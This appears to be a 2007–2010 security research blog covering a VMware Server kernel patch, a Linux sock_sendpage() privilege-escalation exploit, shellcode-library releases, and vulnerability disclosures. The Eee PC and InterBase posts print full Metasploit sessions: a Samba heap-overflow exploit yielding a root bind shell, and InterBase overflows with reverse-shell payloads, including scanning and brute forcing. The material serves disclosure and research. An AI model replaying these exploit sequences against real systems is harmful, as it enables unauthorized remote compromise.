RISE Security

VMware Server 2.0.2 Update Patch

Ramon de Carvalho Valle — Sun, 10 Jan 2010 23:30:03 +0000

January 18, 2009: Radu Cotescu integrated this patch to the latest version of his script, that now applies the patch automatically in Ubuntu, Fedora and openSUSE. The script is available here.

It has been a while since VMware updates VMware Server to add support for newer versions of the Linux kernel. This is a problem for users of newer distributions such as Ubuntu 9.10 (Karmic Koala) and Fedora 12 (Constantine) who want to use VMware Server.

To resolve this, some unofficial patches that update VMware Server to add support for newer versions of the Linux kernel have been released. However, these patches do not properly add support and have several problems, some of them even require the Linux kernel to be recompiled.

I released a patch for VMware Server 2.0.2 that properly add support for newer versions of the Linux kernel and does not require it to be recompiled. This patch was tested on Ubuntu 9.10 and Fedora 12.

The patch has the following features:

Add support for versions of the Linux Kernel that implement COW credentials.
Add support for net_device_ops structure.
Remove references to init_mm structure by removing APIC support for 2.6.25 and later (APIC code currently uses the macro pgd_offset_k).
Remove references to dev->priv by using netdev_priv().
Suppress GCC warnings.
Fix other known issues.

The following are instructions on how to apply the patch:

Download the VMware Server:

$ wget -N http://downloads.vmware.com/d/info/datacenter_downloads/vmware_server/2_0

Download the VMware Server update patch:

$ wget -N http://risesecurity.org/~rcvalle/VMware-server-2.0.2-203138-update.patch

Extract VMware Server:

$ tar -xzf VMware-server-2.0.2-203138.i386.tar.gz

Extract VMware Server modules:

Change working directory to vmware-server-distrib/lib/modules/source/
$ tar -xf vmci.tar
$ tar -xf vmmon.tar
$ tar -xf vmnet.tar
$ tar -xf vsock.tar

Apply the patch:

Change working directory to vmware-server-distrib/
patch -p1 < ../VMware-server-2.0.2-203138-update.patch

Archive VMware Server modules again:

Change working directory to vmware-server-distrib/lib/modules/source/
$ rm -f vmci.tar
$ rm -f vmmon.tar
$ rm -f vmnet.tar
$ rm -f vsock.tar
$ tar -cf vmci.tar vmci-only/
$ tar -cf vmmon.tar vmmon-only/
$ tar -cf vmnet.tar vmnet-only/
$ tar -cf vsock.tar vsock-only/

Run installer script as root:

Change working directory to vmware-server-distrib/
$ sudo ./vmware-install.pl

Note for Ubuntu users:

When asked for the current administrative user for VMware Server, specify your user as a different administrator.

Note about VMware Remote Console Plug-in:

The VMware Remote Console Plug-in does not work properly on Ubuntu 9.10, Fedora 12 and other newer distributions. A workaround for this is to set the environment variable VMWARE_USE_SHIPPED_GTK before running the VMware Remote Console Plug-in. To set this environment variable at login time, add the following line to your ~/.profile:

export VMWARE_USE_SHIPPED_GTK=yes

Illustrating the Linux sock_sendpage() NULL Pointer Dereference on Power/Cell BE Architecture

Ramon de Carvalho Valle — Mon, 31 Aug 2009 00:00:03 +0000

September 10, 2009: I released a third and final version of the exploit. This third version features: Complete support for i386, x86_64, ppc and ppc64; The personality trick published by Tavis Ormandy and Julien Tinnes; The TOC pointer workaround for data items addressing on ppc64 (i.e. functions in exploit code and libc can be referenced); Improved search and transition to SELinux types with mmap_zero permission. The third version of the exploit is available here.

September 7, 2009: I released a second version of the exploit. Now, it also works with Linux Kernel versions which implements COW credentials (e.g. Fedora 11). For SELinux enforced systems, it automatically searches in the SELinux policy rules for types with mmap_zero permission it can transition, and tries to exploit the system with these types. The second version of the exploit is available here.

September 4, 2009: I updated the list of distributions the exploit was tested.

I released an exploit for the Linux sock_sendpage() NULL Pointer Dereference, discovered by Tavis Ormandy and Julien Tinnes. This exploit was written to illustrate the exploitability of this vulnerability on Power/Cell BE architecture.

The exploit makes use of the SELinux and the mmap_min_addr problem to exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3. The problem, first noticed by Brad Spengler, was described by Red Hat in the Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and the mmap_min_addr protection.

Support for i386 and x86_64 was added for completeness. For a more complete implementation, refer to Brad Spengler’s exploit, which also implements the personality trick published by Tavis Ormandy and Julien Tinnes.

Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4 are vulnerable.

The exploit was tested on:

CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable
CentOS 5.3 (2.6.18-128.4.1.el5)
CentOS 5.3 (2.6.18-128.2.1.el5)
CentOS 5.3 (2.6.18-128.1.16.el5)
CentOS 5.3 (2.6.18-128.1.14.el5)
CentOS 5.3 (2.6.18-128.1.10.el5)
CentOS 5.3 (2.6.18-128.1.6.el5)
CentOS 5.3 (2.6.18-128.1.1.el5)
CentOS 5.3 (2.6.18-128.el5)
CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable
CentOS 4.8 (2.6.9-89.0.7.EL)
CentOS 4.8 (2.6.9-89.0.3.EL)
CentOS 4.8 (2.6.9-89.EL)
Fedora 11 (2.6.29.4-167.fc11)
Fedora 10 (2.6.27.5-117.fc10)
Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable
Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)
Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)
Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)
Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)
Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)
Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)
Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)
Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)
Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable
Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)
Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)
Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)
SUSE Linux Enterprise Server 11 (2.6.27.29-0.1) is not vulnerable
SUSE Linux Enterprise Server 11 (2.6.27.25-0.1)
SUSE Linux Enterprise Server 11 (2.6.27.23-0.1)
SUSE Linux Enterprise Server 11 (2.6.27.21-0.1)
SUSE Linux Enterprise Server 11 (2.6.27.19-5)
SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.42.4) is not vulnerable
SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.39.3)
SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.37_f594963d)
SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.34)
SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.33)
SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.31)
SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.29)
SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.27)
SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.23)
SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)
Ubuntu 8.10 (2.6.27-14) is not vulnerable
Ubuntu 8.10 (2.6.27-11)
Ubuntu 8.10 (2.6.27-9)
Ubuntu 8.10 (2.6.27-7)
openSUSE 11.1 (2.6.27.29-0.1) is not vulnerable
openSUSE 11.1 (2.6.27.25-0.1)
openSUSE 11.1 (2.6.27.23-0.1)
openSUSE 11.1 (2.6.27.21-0.1)
openSUSE 11.1 (2.6.27.19-3.2)
openSUSE 11.1 (2.6.27.7-9)

It should also work on early versions of these distributions. The exploit is available here.

Hacking the Cell Broadband Engine Architecture, SPE Software Exploitation

Ramon de Carvalho Valle — Thu, 11 Jun 2009 00:00:12 +0000

Phrack issue #66 was released and features an article written by Rodrigo, titled “Hacking the Cell Broadband Engine Architecture, SPE software exploitation”, which extends our previously published work to the Synergistic Processor Element (SPE) software development and exploitation. The article is available at:

Hacking the Cell Broadband Engine Architecture, SPE software exploitation
Hacking the Cell Broadband Engine Architecture, SPE software exploitation (Phrack Magazine)

Linux on Power/Cell BE Architecture Buffer Overflow Vulnerabilities

Ramon de Carvalho Valle — Wed, 14 Jan 2009 00:00:36 +0000

The two part article series I wrote, titled “Linux on Power/Cell BE Architecture Buffer Overflow Vulnerabilities”, is available at IBM developerWorks. This article discusses buffer overflow vulnerabilities in Linux running on Power/Cell BE Architecture processor-based servers and how to exploit them. It also presents a complete set of assembly components for Linux on Power/Cell BE Architecture and their usage. Previous knowledge of buffer overflows is required. The article is available at:

Linux on Power/Cell BE Architecture Buffer Overflow Vulnerabilities
LoP/Cell/B.E.: Buffer overflow vulnerabilities, Part 1 (IBM developerWorks)
LoP/Cell/B.E.: Buffer overflow vulnerabilities, Part 2 (IBM developerWorks)

Linux Slab Allocator Buffer Overflow Vulnerabilities

Ramon de Carvalho Valle — Fri, 12 Dec 2008 00:00:26 +0000

I published an article I wrote earlier last year, titled “Linux Slab Allocator Buffer Overflow Vulnerabilities”, written in Portuguese (Brazil). This article discusses buffer overflow vulnerabilities in Linux kernel’s Slab Allocator and how to exploit them. Previous knowledge of buffer overflows is required. The article is available at:

Linux Slab Allocator Buffer Overflow Vulnerabilities
Linux Slab Allocator Buffer Overflow Vulnerabilities (IBM developerWorks Brasil)

UNIX Assembly Components for Proof of Concept Codes 1.3.0

Ramon de Carvalho Valle — Mon, 17 Nov 2008 00:00:29 +0000

We are pleased to announce the release of a new version of our UNIX Assembly Components for Proof of Concept Codes (unixasm).

The unixasm is a set of assembly components for proof of concept codes on different operating systems and architectures. These components were carefully designed and implemented for maximum reliability, following strict coding standards and requirements, such as system call invocation standards, position independent, register independent and zero free code. A special attention was put on code length when designing and implementing them, resulting in the most reliable and shortest codes for such purpose available today.

Changes in this version:

Bug fixes to AIX POWER/PowerPC assembly components and payload modules.
New assembly components and payload modules for AIX POWER/PowerPC.
New assembly components and payload modules for Linux POWER/PowerPC/Cell BE.
New assembly components and payload modules for Linux POWER/PowerPC/Cell BE (64-bit).

These components are also available as part of The Metasploit Framework as payload modules.

UNIX Assembly Components for Proof of Concept Codes 1.2.0

Ramon de Carvalho Valle — Wed, 10 Sep 2008 00:00:01 +0000

We are pleased to announce the release of a new version of our UNIX Assembly Components for Proof of Concept Codes (unixasm).

Changes in this version:

New assembly components and payload modules for AIX POWER/PowerPC.

These components are also available as part of The Metasploit Framework as payload modules.

UNIX Assembly Components for Proof of Concept Codes 1.1.0

Ramon de Carvalho Valle — Fri, 08 Feb 2008 00:00:20 +0000

We are pleased to announce the release of a new version of our UNIX Assembly Components for Proof of Concept Codes (unixasm).

Changes in this version:

New Find socket code (fndsockcode) assembly components for all already supported operating systems and architectures.
New assembly components and payload modules for Mac OS X x86.

These components are also available as part of The Metasploit Framework as payload modules.

ASUS Eee PC Rooted Out of the Box

Ramon de Carvalho Valle — Fri, 08 Feb 2008 00:00:01 +0000

We have recently acquired an ASUS Eee PC (if you want to know more about it, a lot of reviews are available on internet). The first thing we did when we put our hands at the ASUS Eee PC was to test its security. The ASUS Eee PC comes with a customized version of Xandros operating system installed, and some other bundled software like Mozilla Firefox, Pidgin, Skype and OpenOffice.org.

Analysing the running processes of the ASUS Eee PC, the first thing that caught our attention was the running smbd process (the sshd daemon was started by us, and is not enabled by default).

eeepc-rise:/root> ps -e
  PID TTY          TIME CMD
    1 ?        00:00:00 fastinit
    2 ?        00:00:00 ksoftirqd/0
    3 ?        00:00:00 events/0
    4 ?        00:00:00 khelper
    5 ?        00:00:00 kthread
   25 ?        00:00:00 kblockd/0
   26 ?        00:00:00 kacpid
  128 ?        00:00:00 ata/0
  129 ?        00:00:00 ata_aux
  130 ?        00:00:00 kseriod
  148 ?        00:00:00 pdflush
  149 ?        00:00:00 pdflush
  150 ?        00:00:00 kswapd0
  151 ?        00:00:00 aio/0
  152 ?        00:00:00 unionfs_siod/0
  778 ?        00:00:00 scsi_eh_0
  779 ?        00:00:00 scsi_eh_1
  799 ?        00:00:00 kpsmoused
  819 ?        00:00:00 kjournald
  855 ?        00:00:00 fastinit
  857 ?        00:00:00 sh
  858 ?        00:00:00 su
  859 tty3     00:00:00 getty
  862 ?        00:00:00 startx
  880 ?        00:00:00 xinit
  881 tty2     00:00:06 Xorg
  890 ?        00:00:00 udevd
  952 ?        00:00:00 ksuspend_usbd
  953 ?        00:00:00 khubd
 1002 ?        00:00:00 acpid
 1027 ?        00:00:00 pciehpd_event
 1055 ?        00:00:00 ifplugd
 1101 ?        00:00:00 scsi_eh_2
 1102 ?        00:00:00 usb-storage
 1151 ?        00:00:00 icewm
 1185 ?        00:00:01 AsusLauncher
 1186 ?        00:00:00 icewmtray
 1188 ?        00:00:01 powermonitor
 1190 ?        00:00:00 minimixer
 1191 ?        00:00:00 networkmonitor
 1192 ?        00:00:00 wapmonitor
 1193 ?        00:00:00 x-session-manag
 1195 ?        00:00:00 x-session-manag
 1200 ?        00:00:00 x-session-manag
 1201 ?        00:00:00 dispwatch
 1217 ?        00:00:00 cupsd
 1224 ?        00:00:00 usbstorageapple
 1234 ?        00:00:00 kondemand/0
 1240 ?        00:00:00 portmap
 1248 ?        00:00:00 keyboardstatus
 1272 ?        00:00:00 memd
 1279 ?        00:00:00 scim-helper-man
 1280 ?        00:00:00 scim-panel-gtk
 1282 ?        00:00:00 scim-launcher
 1297 ?        00:00:00 netserv
 1331 ?        00:00:00 asusosd
 1476 ?        00:00:00 xandrosncs-agen
 1775 ?        00:00:00 dhclient3
 2002 ?        00:00:00 nmbd
 2004 ?        00:00:00 smbd
 2005 ?        00:00:00 smbd
 2322 ?        00:00:00 sshd
 2345 ?        00:00:00 sshd
 2356 pts/0    00:00:00 bash
 2362 pts/0    00:00:00 ps
eeepc-rise:/root>

Retrieving the the smbd version, we discovered that it runs a vulnerable version of Samba (Samba lsa_io_trans_names Heap Overflow), which exploit we published earlier last year.

eeepc-rise:/root> smbd --version
Version 3.0.24
eeepc-rise:/root>

With this information, we ran our exploit against the ASUS Eee PC using the Debian/Ubuntu target (Xandros is based on Corel Linux, which is Debian based).

msf > use linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > set RHOST 192.168.50.10
RHOST => 192.168.50.10
msf exploit(lsa_transnames_heap) > set PAYLOAD linux/x86/shell_bind_tcp
PAYLOAD => linux/x86/shell_bind_tcp
msf exploit(lsa_transnames_heap) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux vsyscall
   1   Linux Heap Brute Force (Debian/Ubuntu)
   2   Linux Heap Brute Force (Gentoo)
   3   Linux Heap Brute Force (Mandriva)
   4   Linux Heap Brute Force (RHEL/CentOS)
   5   Linux Heap Brute Force (SUSE)
   6   Linux Heap Brute Force (Slackware)
   7   DEBUG

msf exploit(lsa_transnames_heap) > set TARGET 1
TARGET => 1
msf exploit(lsa_transnames_heap) > exploit
[*] Started bind handler
[*] Creating nop sled....
...
[*] Trying to exploit Samba with address 0x08415000...
[*] Connecting to the SMB service...
[*] Binding to
12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ...
[*] Bound to
12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:192.168.50.10[\lsarpc] ...
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 1 opened (192.168.50.201:33694 -> 192.168.50.10:4444)
msf exploit(lsa_transnames_heap) > sessions -i 1
[*] Starting interaction with 1...

uname -a
Linux eeepc-rise 2.6.21.4-eeepc #21 Sat Oct 13 12:14:03 EDT 2007 i686 GNU/Linux
id
uid=0(root) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)

Easy to learn, Easy to work, Easy to root.

InterBase/Firebird fun

Ramon de Carvalho Valle — Wed, 03 Oct 2007 00:00:59 +0000

While developing an exploit module for the Borland Interbase ibserver.exe ‘create’ Buffer Overflow Vulnerability, published by TippingPoint, we decided to take a look into Borland InterBase code, and unfortunately, the results were not good.

We found about 20 buffer overflow vulnerabilities that affects all versions of Borland InterBase, and some of them also affects the Firebird Relational Database. All remote, trivial to exploit, stack-based buffer overflows.

We contacted both Borland/CodeGear and Firebird developers about these vulnerabilities. After failed attempts to find an email address to report security issues in their products, we tried their bug tracking systems. Borland/CodeGear asked us to send information to their support email address, but we didn’t get any further responses. Firebird developers didn’t answer to our reports either, but they corrected these vulnerabilities in the latest version of Firebird.

We published the advisories, an auxiliary scanner module and exploit modules for some of these vulnerabilities for The Metasploit Framework.

The auxiliary scanner module searches for running InterBase/Firebird instances on an address range and retrieves version and implementation of the InterBase server from InterBase Services Manager. This auxiliary module can be used to determine the exact target will be used in an exploitation scenario.

msf > use auxiliary/scanner/misc/ib_service_mgr_info
msf auxiliary(ib_service_mgr_info) > set RHOSTS 192.168.213.0/24
RHOSTS => 192.168.213.0/24
msf auxiliary(ib_service_mgr_info) > run
[*] Trying 192.168.213.0
[*] Trying 192.168.213.1
[*] Trying 192.168.213.2
...
[*] Trying 192.168.213.132
IP Address: 192.168.213.132
Version of the InterBase server: WI-V6.0.1.0
Implementation of the InterBase server: InterBase/x86/Windows NT

...
[*] Trying 192.168.213.253
[*] Trying 192.168.213.254
[*] Trying 192.168.213.255
[*] Auxiliary module execution completed
msf auxiliary(ib_service_mgr_info) >

Using this information, one can select the exact target from one of our published exploit modules.

msf auxiliary(ib_service_mgr_info) > use windows/misc/ib_isc_attach_database
msf exploit(ib_isc_attach_database) > set RHOST 192.168.213.132
RHOST => 192.168.213.132
msf exploit(ib_isc_attach_database) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf exploit(ib_isc_attach_database) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
msf exploit(ib_isc_attach_database) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Brute Force
   1   Borland InterBase WI-V8.1.0.257
   2   Borland InterBase WI-V8.0.0.123
   3   Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80
   4   Borland InterBase WI-V7.0.1.1
   5   Borland InterBase WI-V6.5.0.28
   6   Borland InterBase WI-V6.0.1.6
   7   Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6 WI-O6.0.2.0
   8   Borland InterBase WI-V5.5.0.742
   9   Borland InterBase WI-V5.1.1.680
   10  Debug

msf exploit(ib_isc_attach_database) > set TARGET 7
TARGET => 7
msf exploit(ib_isc_attach_database) > exploit
[*] Started reverse handler
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.4:33891)

Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

The brute force option assumes that ibguard/fbguard is running and tries every available target from an exploit module sequentially.

msf exploit(ib_isc_attach_database) > set TARGET 0
TARGET => 0
msf exploit(ib_isc_attach_database) > exploit
[*] Started reverse handler
[*] Brute forcing with 10 possible targets
[*] Trying target Borland InterBase WI-V8.1.0.257...
[*] Trying target Borland InterBase WI-V8.0.0.123...
[*] Trying target Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80...
[*] Trying target Borland InterBase WI-V7.0.1.1...
[*] Trying target Borland InterBase WI-V6.5.0.28...
[*] Trying target Borland InterBase WI-V6.0.1.6...
[*] Trying target Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6
WI-O6.0.2.0...
[*] Command shell session 2 opened (192.168.0.4:4444 -> 192.168.0.4:33942)

Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

It is important to note that all Borland InterBase vulnerabilities published by us were not corrected by the vendor and are present in all (including the latest) versions of their product.